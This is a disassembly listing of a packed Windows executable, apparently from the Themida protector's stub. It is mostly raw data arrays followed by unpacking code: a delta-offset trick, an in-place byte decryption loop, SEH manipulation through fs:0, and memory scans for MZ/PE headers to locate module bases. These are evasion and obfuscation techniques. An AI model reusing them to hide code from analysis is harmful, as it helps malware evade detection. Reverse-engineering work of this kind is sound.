		dd 41692A00h, 0F2005761h, 77EB87h, 0
		dd 69000000h, 59F9h, 0D1000000h, 584Bh,	17000000h, 5A3038h
		dd 4 dup(0)
		dd 0F4000000h, 0FFFFA3h, 2 dup(0)
		dd 99000000h, 0F177E7A0h, 0FF605Fh, 0
		dd 0FF000000h, 0FFFFFFh, 2 dup(0)
		dd 37000000h, 77E7A8h, 2 dup(0)
		dd 53000000h, 0A38Dh, 3	dup(0)
		dd 9E00h, 4 dup(0)
		dd 8D000000h, 9EFFA7A2h, 6E80C2h, 1A000000h, 57E3h, 3 dup(0)
		dd 0AB000000h, 0B30000FCh, 53F9h, 3 dup(0)
		dd 57000000h, 5AA7h, 0Dh dup(0)
		dd 1000000h, 16h dup(0)
		dd 0E6000000h, 106165h,	78000000h, 1C1h, 0
		dd 33000000h, 5F7Ah, 5 dup(0)
		dd 0E2000000h, 7A8A0FB5h, 0BA376Bh, 3 dup(0)
		dd 29000000h, 1CFEF8CDh, 5943h,	5 dup(0)
		dd 0B9000000h, 0D5DFEAh, 2 dup(0)
		dd 9C000000h, 0FFEDDFh,	2 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 90000000h, 2	dup(0)
		dd 6B000000h, 53EFh, 0FE000000h, 6Ah, 0E9000000h, 127h
		dd 4 dup(0)
		dd 9D000000h, 57BBh, 0Ch dup(0)
		dd 4DC0h, 78000000h, 123456h, 0D7000000h, 77DD23h, 2 dup(0)
		dd 85000000h, 5B52749Ah, 3, 3 dup(0)
		dd 22000000h, 3BB1F523h, 77E74Ah, 3 dup(0)
		dd 0DD000000h, 9F69h, 0
		dd 4000000h, 0D1005703h, 0C835h, 3 dup(0)
		dd 0E9000000h, 0FFFF83h, 4000000h, 0F37FFE03h, 9F8Ch, 0DF000DB0h
		dd 0A9C530h, 2 dup(0)
		dd 0FF000000h, 57FFh, 0E9000000h, 0E5h,	34000000h, 9F92h
		dd 3 dup(0)
		dd 0F0000000h, 12FFh, 4000000h,	7 dup(0)
		dd 4000000h, 7FFE03h, 7	dup(0)
		dd 79000000h, 5943h, 6 dup(0)
		dd 69000000h, 981515h, 9 dup(0)
		dd 54000000h, 696D6568h, 6164h,	21h dup(0)
		dd 0B0000000h, 1CFFFh, 0FB000000h, 58AEh, 5 dup(0)
		dd 0E2000000h, 0BC8A0FB5h, 0E2000003h, 16F9F66h, 75000000h
		dd 0FFAC1Dh, 0
		dd 37000000h, 9F9Ch, 6D000000h,	56FCh, 2 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0B8000000h, 0FFA729h, 0
		dd 0FD000000h, 77E7A5h,	2 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0E6000000h, 0DF009E0Fh, 152FFFF7h, 21C0Dh, 4C000000h
		dd 587Dh, 2 dup(0)
		dd 23000000h, 95005700h, 0A399h, 2 dup(0)
		dd 40000000h, 4F76B41Bh, 0FFFE14h, 4 dup(0)
		dd 70000000h, 4	dup(0)
		dd 3A000000h, 0FD9BECh,	2 dup(0)
		dd 0E9000000h, 20Eh, 5 dup(0)
		dd 9E00h, 0E3000000h, 9B5322AAh, 5ABBh,	0
		dd 4000000h, 7FFE03h, 0
		dd 16000000h, 0A173h, 3	dup(0)
		dd 4000000h, 0C7FFE03h,	24000h,	0
		dd 14000000h, 7FFE03h, 2 dup(0)
		dd 43000000h, 53E1h, 0
		dd 0FF000000h, 580Bh, 2	dup(0)
		dd 0CD000000h, 77E776h,	0B5000000h, 75h, 0
		dd 0A4000000h, 8E93E3h,	4 dup(0)
		dd 0B8000000h, 69A0DFh,	2 dup(0)
		dd 77DD00h, 2 dup(0)
		dd 0EF000000h, 56C5h, 8	dup(0)
		dd 0FE000000h, 6Ah, 0
		dd 0E7000000h, 5ACBh, 9	dup(0)
		dd 0F1000000h, 0EBFF605Fh, 0BFFB6Fh, 16000000h,	0A173h
		dd 0
		dd 0A8000000h, 5A32h, 0
		dd 73000000h, 48005670h, 77E79Eh, 2 dup(0)
		dd 0B5000000h, 77E75Ch,	7A9B00h, 6 dup(0)
		dd 0DD000000h, 5771h, 9	dup(0)
		dd 0B0000000h, 5AC0h, 1F000000h, 0FFFF43h, 68000000h, 28B06h
		dd 4 dup(0)
		dd 0A3000000h, 0CDA680h, 2 dup(0)
		dd 0C0000000h, 74894BE4h, 2 dup(0)
		dd 86000000h, 77E7C4h, 9 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0F8000000h, 3F9h, 7 dup(0)
		dd 4000000h, 7FFE03h, 77000000h, 113F89h, 3 dup(0)
		dd 0A8000000h, 0FA000000h, 33B406h, 0BB000000h,	588Fh
		dd 2 dup(0)
		dd 0F000000h, 5401h, 3 dup(0)
		dd 0FE000000h, 400006Ah, 7FFE03h, 2 dup(0)
		dd 3E000000h, 7FFF03h, 0
		dd 0EB000000h, 0DE535536h, 9F2Bh, 0AA000000h, 0FFB829h
		dd 0
		dd 93000000h, 9F93h, 4 dup(0)
		dd 0EB000000h, 8, 0
		dd 15000000h, 766FD9h, 1Fh dup(0)
		dd 0C1000000h, 2FB8FDh,	5 dup(0)
		dd 4000000h, 47FFE03h, 7FFE03h,	8 dup(0)
		dd 0FE000000h, 6Ah, 0
		dd 0F8000000h, 0FFFF94h, 0A0000000h, 3,	3 dup(0)
		dd 33000000h, 2	dup(33333333h),	333333h, 4000000h, 7FFE03h
		dd 4 dup(0)
		dd 0B5000000h, 77E75Ch,	3 dup(0)
		dd 7A000000h, 59ABh, 5 dup(0)
		dd 0C8000000h, 5005A4Eh, 750A2801h, 5A50h, 1000000h, 85000000h
		dd 0DD25B1h, 0
		dd 0F0000000h, 12FEh, 0AC000000h, 0FFED00h, 2 dup(0)
		dd 4000000h, 7FFE03h, 41000000h, 5761h,	4 dup(0)
		dd 0BF000000h, 34A56A7Bh, 77E79Eh, 0
		dd 0D2000000h, 76h, 3 dup(0)
		dd 78000000h, 0F8000000h, 1394h, 0Fh dup(0)
		dd 5D000000h, 0FFAAA7h,	0B600h,	0E7000000h, 5ACBh, 2 dup(0)
		dd 4000000h, 4 dup(0)
		dd 0F4000000h, 8005F6h,	2 dup(0)
		dd 9F000000h, 0D4029F02h, 0FFFF8Ch, 3 dup(0)
		dd 94000000h, 5A40h, 5 dup(0)
		dd 0EB000000h, 40h, 2 dup(0)
		dd 3AAF80h, 0
		dd 0E8000000h, 0Ah, 6 dup(0)
		dd 5B000000h, 9F91h, 5 dup(0)
		dd 6B000000h, 53EFh, 10000000h,	0BFh, 26h dup(0)
		dd 81000000h, 0B73FFh, 3 dup(0)
		dd 30000000h, 312D34h, 3 dup(0)
		dd 0B5000000h, 5405h, 5	dup(0)
		dd 0CD000000h, 7FA2D4h,	0
		dd 30000000h, 0FF9CD2h,	7 dup(0)
		dd 0B0000000h, 21FFFh, 7 dup(0)
		dd 23000000h, 200h, 0AD000000h,	0C453C412h, 8001FCh, 5 dup(0)
		dd 0E8000000h, 0ADA2D5h, 0A8000000h, 5408h, 0
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 0B8000000h, 0
		dd 30000000h, 0F3617h, 9 dup(0)
		dd 48000000h, 7077E79Eh, 74F03DCEh, 865559h, 4 dup(0)
		dd 15000000h, 0F8FFA69Bh, 800003F9h, 0Eh, 4 dup(0)
		dd 45000000h, 5AFBh, 3 dup(0)
		dd 67000000h, 8E8A61h, 5 dup(0)
		dd 0D0000000h, 4FFFF9Bh, 7FFE03h, 2 dup(0)
		dd 0EE000000h, 0FFFFFDh, 6 dup(0)
		dd 0F5000000h, 0FDB8Ah,	0
		dd 0A3004000h, 0CDA680h, 0
		dd 0F0000000h, 5B08h, 92000000h, 4009F22h, 877FFE03h, 5793h
		dd 2 dup(0)
		dd 0FC000000h, 0E0001280h, 12FFh, 0CA000000h, 200ADB1h
		dd 5752h, 0E9000000h, 127h, 3 dup(0)
		dd 0E5000000h, 681935CCh, 9EB1h, 0Bh dup(0)
		dd 0FF000000h, 0A9DF30h, 4 dup(0)
		dd 0DB025900h, 53D4h, 0
		dd 4000000h, 7FFE03h, 0Dh dup(0)
		dd 21000000h, 212121h, 0
		dd 95000000h, 56FCh, 4 dup(0)
		dd 0E9000000h, 2200020Eh, 22222222h, 0F4222222h, 6Dh, 81h dup(0)
		dd 0F2000000h, 12FEh, 3	dup(0)
		dd 0D4000000h, 0F0279Fh, 30000000h, 3, 8 dup(0)
		dd 4000000h, 7FFE03h, 5	dup(0)
		dd 54000000h, 0FF5E64h,	4 dup(0)
		dd 35000000h, 3C5BAFh, 7 dup(0)
		dd 0F8000000h, 0FA0003F9h, 56F9h, 13h dup(0)
		dd 1000000h, 3 dup(0)
		dd 41000000h, 5761h, 90000000h,	5 dup(0)
		dd 0F7000000h, 9F09h, 0
		dd 8D000000h, 581Bh, 2 dup(0)
		dd 0A4000000h, 12FFh, 0E7000000h, 0A3A5h, 0E8000000h, 13h
		dd 2 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 5C000000h, 0A015h, 0
		dd 0FF000000h, 1CF77h, 2 dup(0)
		dd 44000000h, 40822Ch, 2 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 56000000h, 64009FFAh, 0A015h, 0Ah dup(0)
		dd 39000000h, 4	dup(0)
		dd 99000000h, 9F94h, 0
		dd 34000000h, 59F8h, 0
		dd 1C00h, 2 dup(0)
		dd 9A000000h, 2477F7B3h, 242424h, 0C4000000h, 0
		dd 1000000h, 0Bh dup(0)
		dd 0E9000000h, 585Ah, 6	dup(0)
		dd 1000000h, 0
		dd 40000000h, 221h, 27h	dup(0)
		dd 0D6000000h, 6B3C3Dh,	0F9000000h, 701706h, 60000000h
		dd 0
		dd 6000000h, 50h, 25800h, 0
		dd 4000000h, 26000000h,	50130Ch, 0
		dd 60000000h, 50006Ah, 0
		dd 0B000000h, 77F518h, 0
		dd 34000000h, 0A1B1h, 2	dup(0)
		dd 0C1000000h, 0D70FCCA9h, 0F4005770h, 0AFFFFA3h, 9F8Ch
		dd 0Bh dup(0)
		dd 0F4000000h, 0FFFFA3h, 7 dup(0)
		dd 6A000000h, 0F77D4C9h, 9FA0h,	4 dup(0)
		dd 69000000h, 0B9005855h, 5AFBh, 0FFFA5544h, 0FFFFFFh
		dd 2 dup(0)
		dd 0DB000000h, 357E22h,	9 dup(0)
		dd 0BD000000h, 323803h,	5 dup(0)
		dd 7B000000h, 5912h, 0
		dd 63000000h, 77E779h, 11000000h, 111111h, 6 dup(0)
		dd 37000000h, 53DBh, 0
		dd 6000000h, 3377E6D7h,	5762h, 0Ch dup(0)
		dd 0C4000000h, 9F70h, 0
		dd 0D0000000h, 0FFFF9Bh, 7 dup(0)
		dd 0CA000000h, 0ADB1h, 2 dup(0)
		dd 41000000h, 1005761h,	2 dup(0)
		dd 7A77E600h, 0C9h, 3 dup(0)
		dd 2000000h, 0F000000h,	5401h, 4 dup(0)
		dd 0E000000h, 2020Eh, 0
		dd 0C000000h, 7FFA09h, 5 dup(0)
		dd 1000000h, 600h, 0
		dd 0B2000000h, 5943h, 5	dup(0)
		dd 24000000h, 0D5B47Bh,	9 dup(0)
		dd 2000000h, 0Fh dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 54000000h, 9ED5h, 8 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 5000000h, 0DD77662Dh, 0FFA8FFh, 0
		dd 1000000h, 0
		dd 20000000h, 10h, 0BF00h, 3 dup(0)
		dd 0A3000000h, 723D96h,	2 dup(0)
		dd 73000000h, 0C5BFE6D0h, 5CFFA3h, 4 dup(0)
		dd 1000000h, 9 dup(0)
		dd 0B8000000h, 5FC96A83h, 0D20053C7h, 5676h, 4 dup(0)
		dd 0E5000000h, 6EFFFFDAh, 0A8005B60h, 4EEF91h, 0
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 33000065h
		dd 5762h, 0FF000000h, 2FFFFFFh,	5752h, 2D000000h, 56h
		dd 41000000h, 5761h, 2E000000h,	1009F5Eh, 0Ah dup(0)
		dd 17000000h, 5	dup(0)
		dd 0AC000000h, 2300A19Bh, 5700h, 6 dup(0)
		dd 0DC000000h, 0DD000000h, 14009F69h, 56FAh, 4 dup(0)
		dd 0BC000000h, 0B8AC18h, 0
		dd 0A000000h, 9F8Ch, 0
		dd 4C000000h, 14h, 18000000h, 77E806h, 2 dup(0)
		dd 4010h, 68000000h, 0C477E821h, 8247FB8Ch, 0CC005B5Dh
		dd 0Ch dup(0)
		dd 45000000h, 9F31h, 4 dup(0)
		dd 7A000000h, 260943h, 2 dup(0)
		dd 0E5000000h, 595Ch, 0BB000000h, 511ACFh, 0
		dd 22000000h, 5A58h, 0
		dd 4000000h, 7FFE03h, 14000000h, 8CFFA7A5h, 0
		dd 7D000000h, 0AFC24Ah,	0
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 0DF000000h, 0A9C530h, 2 dup(0)
		dd 74000000h, 5374h, 3 dup(0)
		dd 4000000h, 7FFE03h, 1000000h,	4000000h, 0C87FFE03h, 214E19h
		dd 3 dup(0)
		dd 400h, 0CC000000h, 77DD5Eh, 2	dup(88000000h),	533Eh
		dd 4 dup(0)
		dd 0AC000000h, 0
		dd 54000000h, 0FFFF96h,	53000000h, 4005761h, 947FFE03h
		dd 5A40h, 0
		dd 1000000h, 0F000000h,	9FA0h, 4 dup(0)
		dd 17000010h, 0FFFDF1h,	7 dup(0)
		dd 79000000h, 0FFA86Ch,	0
		dd 0BD000000h, 56FCh, 8	dup(0)
		dd 24000h, 2 dup(0)
		dd 64000000h, 0E0191Ch,	4 dup(0)
		dd 0C6000000h, 59F8h, 2	dup(0)
		dd 57000000h, 65h, 2 dup(0)
		dd 29000000h, 0FFA88Fh,	0Ch dup(0)
		dd 17000000h, 12C8h, 0AA000000h, 0FA4FC6h, 30000000h, 753D85D6h
		dd 0FFAC1Dh, 0B7000000h, 1036B8h, 9 dup(0)
		dd 2000000h, 6 dup(0)
		dd 10000000h, 0B82A4849h, 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF009Fh, 424448Bh
		dd 0E0FFh, 15h dup(0)
		dd 4B000000h, 5889h, 3 dup(0)
		dd 0A4000000h, 12FFh, 5	dup(0)
		dd 0C0000000h, 0
		dd 0C1000000h, 57347C68h, 5C21CFh, 3 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FA8F:				; CODE XREF: start:loc_53C6AAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 64433EFh
		mov	[ebp+6440929h],	edx
		mov	[ebp+6442BB5h],	esi
		mov	[ebp+6441A91h],	eax
		cmp	dword ptr [ebp+64413C1h], 0
		jz	short loc_53FAC7
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53FAC7:				; CODE XREF: start+61AA5j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6441085h],	eax
		push	45h
		call	sub_53FB7B
		push	783749Ah
		call	sub_53FBC1
		push	0A894B25h
		call	sub_53FBC1
		jmp	loc_53FD05
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53FB7B	proc near		; CODE XREF: start+61ABFp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 64434DDh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53FB97:				; CODE XREF: sub_53FB7B+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53FBB6
		mov	eax, [ebp+arg_0]
		mov	[ebx+6443447h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53FB97
; ---------------------------------------------------------------------------


loc_53FBB6:				; CODE XREF: sub_53FB7B+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53FB7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53FBC1	proc near		; CODE XREF: start+61AC9p start+61AD3p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6443526h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53FBE7:				; CODE XREF: sub_53FBC1+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53FBE7
		mov	[ebp+var_84], 0
		lea	edi, [edx+6443447h]
		lea	esi, [ebp+var_80]


loc_53FC17:				; CODE XREF: sub_53FBC1+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53FC23:				; CODE XREF: sub_53FBC1+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53FC23
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53FC17
		popa
		leave
		retn	4
sub_53FBC1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53FC61
; ---------------------------------------------------------------------------


loc_53FC5D:				; CODE XREF: Themida_:0053FC64j
		inc	dword ptr [ebp-4]
		inc	esi


loc_53FC61:				; CODE XREF: Themida_:0053FC5Bj
		cmp	byte ptr [esi],	0
		jnz	short loc_53FC5D
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53FCF2
; ---------------------------------------------------------------------------


loc_53FC73:				; CODE XREF: Themida_:0053FCF5j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53FCE9
; ---------------------------------------------------------------------------


loc_53FC7C:				; CODE XREF: Themida_:0053FCEDj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53FCD6
; ---------------------------------------------------------------------------


loc_53FC8C:				; CODE XREF: Themida_:0053FCDAj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53FCAE
		cmp	bl, 39h
		ja	short loc_53FCAE
		sub	bl, 30h
		jmp	short loc_53FCD0
; ---------------------------------------------------------------------------


loc_53FCAE:				; CODE XREF: Themida_:0053FCA2j
					; Themida_:0053FCA7j
		cmp	bl, 61h
		jb	short loc_53FCC0
		cmp	bl, 66h
		ja	short loc_53FCC0
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53FCD0
; ---------------------------------------------------------------------------


loc_53FCC0:				; CODE XREF: Themida_:0053FCB1j
					; Themida_:0053FCB6j
		cmp	bl, 41h
		jb	short loc_53FCD0
		cmp	bl, 46h
		ja	short loc_53FCD0
		sub	bl, 41h
		add	bl, 0Ah


loc_53FCD0:				; CODE XREF: Themida_:0053FCACj
					; Themida_:0053FCBEj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53FCD6:				; CODE XREF: Themida_:0053FC8Aj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53FC8C
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53FCE6
		mov	eax, [ebp-10h]
		stosb


loc_53FCE6:				; CODE XREF: Themida_:0053FCE0j
		inc	dword ptr [ebp-8]


loc_53FCE9:				; CODE XREF: Themida_:0053FC7Aj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53FC7C
		add	edx, 4


loc_53FCF2:				; CODE XREF: Themida_:0053FC71j
		cmp	edx, [ebp-4]
		jb	loc_53FC73
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FD05:				; CODE XREF: start+61AD8j
		mov	ecx, 7000h
		lea	edi, [ebp+644366Ch]


loc_53FD10:				; CODE XREF: start+61D00j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53FD10
		mov	eax, 48692121h
		mov	edx, 0F00DE000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6443745h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jns	loc_53FD4C
		xor	bx, 1966h


loc_53FD4C:				; CODE XREF: start+61D2Dj
		or	ebx, 597F47FCh
		sub	eax, edx
		mov	ebx, 3BC74BDDh
		and	eax, 0FFFFF000h
		mov	bx, 5866h
		mov	ecx, edx
		xor	edi, edi


loc_53FD66:				; CODE XREF: start+61D6Dj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_53FD7B
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_53FD83


loc_53FD7B:				; CODE XREF: start+61D57j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_53FD66
; ---------------------------------------------------------------------------


loc_53FD83:				; CODE XREF: start+61D65j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+6443758h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_53FDBD
		mov	esi, [eax+1Ch]


loc_53FDBD:				; CODE XREF: start+61DA4j
		xor	eax, eax


loc_53FDBF:				; CODE XREF: start+61DBEj
		cmp	eax, 32h
		jz	short loc_53FDE3
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_53FDD4


loc_53FDCB:				; CODE XREF: start+61DCDj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_53FDBF
; ---------------------------------------------------------------------------


loc_53FDD4:				; CODE XREF: start+61DB5j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_53FE25
		jmp	short loc_53FDCB
; ---------------------------------------------------------------------------


loc_53FDE3:				; CODE XREF: start+61DAEj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 51h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 8B51C3C0h
		dd 5510244Ch, 0E8h, 0ED815D00h,	6443763h, 3721858Dh, 81890644h
		dd 0B8h, 0C033595Dh
		db 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FE25:				; CODE XREF: start+61DCBj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	ecx
		call	sub_53FE3B
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53FE3B	proc near		; CODE XREF: start+61E1Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_53FE3B	endp

; ---------------------------------------------------------------------------
		db 0F6h
		dd 8D95BB6Eh, 860F0B93h, 5, 2525BBh, 12E825h, 3C380000h
		dd 9E51DF6Bh, 0D7F7AD4h, 0AE635A1Ch, 0DA5390F8h, 665BFD8Ah
		dd 8A0FD98Ch, 1, 4E180FCh, 0C90AD98Bh, 47850Fh,	840F0000h
		dd 3, 0FCD88B66h, 2F1185C7h, 10644h, 0DB800000h, 0D08060C3h
		dd 0C6E68082h, 33E961h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 4582BFC3h, 0B70F8456h
		dd 1185C7D8h, 6442Fh, 81000000h, 8D8BCAC3h, 7D858957h
		dd 0F06442Dh, 18Ah, 8589F500h, 64417E9h, 12E8h,	0B52A7500h
		dd 5A6E3A9Ah, 3AA3DFEDh, 60A666FDh, 66FE3D8Fh, 605EDF8Bh
		dd 7DF28166h, 5A506050h, 80BBB966h, 0C6816161h,	6C15h
		dd 0B77CBFF5h, 0C78176F5h, 890A634Dh, 0C9CFF3BBh, 80068B4Bh
		dd 0F08158D9h, 551575C1h, 3820Fh, 8B660000h, 5BC081DFh
		dd 0BA057387h, 353F8618h, 4228E881h, 8B661A4Dh,	0CB8150D0h
		dd 33DB4B5Dh, 0B966068Fh, 0EE83AF0Ch, 1A8E0F04h, 0E8000000h
		dd 13h,	0E35307B9h, 924F3E27h, 6629F4CFh, 2229982Ah, 0F8C7E224h
		dd 1EF835Bh, 26850Fh, 0AE90000h, 46000000h, 0CD39C7D2h
		dd 0D4A7C270h, 44E91Dh,	73C00000h, 0BFFB94F6h, 5BBC477Dh
		dd 0DCEB8D05h, 5BE4A752h, 188C0Fh, 13E90000h, 17000000h
		dd 5BBE5A99h, 502012AFh, 88F49043h, 5D46B6DAh, 56E9CA1Ch
		dd 1DFFFFFFh, 0B3B77DEFh, 0CB6A0AB4h, 0E9CCEE76h, 11E809B0h
		dd 14000000h, 949A277Fh, 96CB4AEFh, 0F54A1919h,	0D91B47A2h
		dd 8A0Fh, 0F580000h, 489h, 0EF8A5100h, 94C08159h, 81000070h
		dd 8934AC2h, 1BEBBF62h,	8E80000h, 36000000h, 0A60C207Eh
		dd 0E917E6FEh, 13h, 0A109449Bh,	98B052E7h, 0EAAE658Fh
		dd 0E0F448C6h, 5E0931DCh, 0E853188Bh, 0Fh, 0B0B4619Fh
		dd 7B45196Ah, 0EBA16578h, 66D94C90h, 5A59D68Bh,	49A9EB81h
		dd 81667B62h, 81D4AEF2h, 2A2ABEC3h, 81D08A0Bh, 489B28EBh
		dd 7FCBE77h, 0E85333B6h, 0Ah, 996FB8Dh,	173FF3h, 0BE5684F3h
		dd 4AECCA3Bh, 8F595Eh, 0AE9h, 26561700h, 0D0700B22h, 83FDFBE2h
		dd 0F6004E8h, 689h, 8A0F00h, 0E9000000h, 0Ch, 9C7E7AEDh
		dd 0D9E5B96Ch, 323B2F11h, 1EF8361h, 0FF72850Fh,	9ABEFFFFh
		dd 0E977F7B3h, 6B4h, 217FCh, 100h, 0F500h, 15810Fh, 10E90000h
		dd 0A6000000h, 1CCB48E3h, 7840FEF8h, 0FB67C770h, 6026C680h
		dd 9D896060h, 6441799h,	66615F57h, 2B61C38Bh, 0D99D89C0h
		dd 8B06442Bh, 9282454h,	441EF1B5h, 0F9858906h, 60064419h
		dd 5E9h, 32D0A000h, 0BE6142FFh,	3Ch, 23D58589h,	74030644h
		dd 0B5092424h, 6440C85h, 9918589h, 0AD660644h, 12E960h
		dd 0AD290000h, 0C4E6894h, 99F4FF14h, 795056C9h,	0E7AC3129h
		dd 2C119D89h, 3610644h,	29242444h, 4431518Dh, 8B605006h
		dd 525060D0h, 585A310Fh, 310F5250h, 6161585Ah, 0E9240489h
		dd 7, 352129C9h, 8B4A619Dh, 85897840h, 6442ACDh, 28244403h
		dd 0EE9h, 2F34F700h, 0DC05C8A4h, 872927A4h, 8B9EC231h
		dd 0B5091840h, 6441F7Dh, 0BD0B6040h, 6443081h, 61FB8B66h
		dd 3A3F8589h, 8B600644h, 4430898Dh, 13E906h, 0EA0F0000h
		dd 429E17ADh, 3EF27B47h, 9837036Ch, 35E67CACh, 0F95861BCh
		dd 8978708Bh, 44190195h, 1CC68306h, 247403FCh, 0B98D0924h
		dd 8D064425h, 440E31BDh, 60ADF806h, 0CE9h, 1D449F00h, 59034EA9h
		dd 904CB9E5h, 440361A7h, 0BD892424h, 64425C5h, 0BE9h, 973AFD00h
		dd 38C3B962h, 736A02h, 42B660ABh, 0F56178B6h, 8C5BD8Dh
		dd 0B5010644h, 6443305h, 5D9D09ADh, 8906442Ch, 4403A985h
		dd 24440306h, 14E924h, 4F0B0000h, 6960F019h, 0CCDAFE32h
		dd 54ABACB5h, 2BB12FE7h, 95899C55h, 6440F75h, 0E9525050h
		dd 5, 25843EDAh, 0F310F2Ch, 689h, 820F00h, 5A000000h, 24048958h
		dd 2E018529h, 0F5AB0644h, 0D69BD8Dh, 0F5600644h, 19898D89h
		dd 0AD610644h, 1039B529h, 44030644h, 0AE92824h,	2A000000h
		dd 35B1B175h, 66A0362Dh, 8E86023h, 86000000h, 0E46218CFh
		dd 60B25D74h, 800F5861h, 6, 23E59D8Bh, 0AB610644h, 78F0Fh
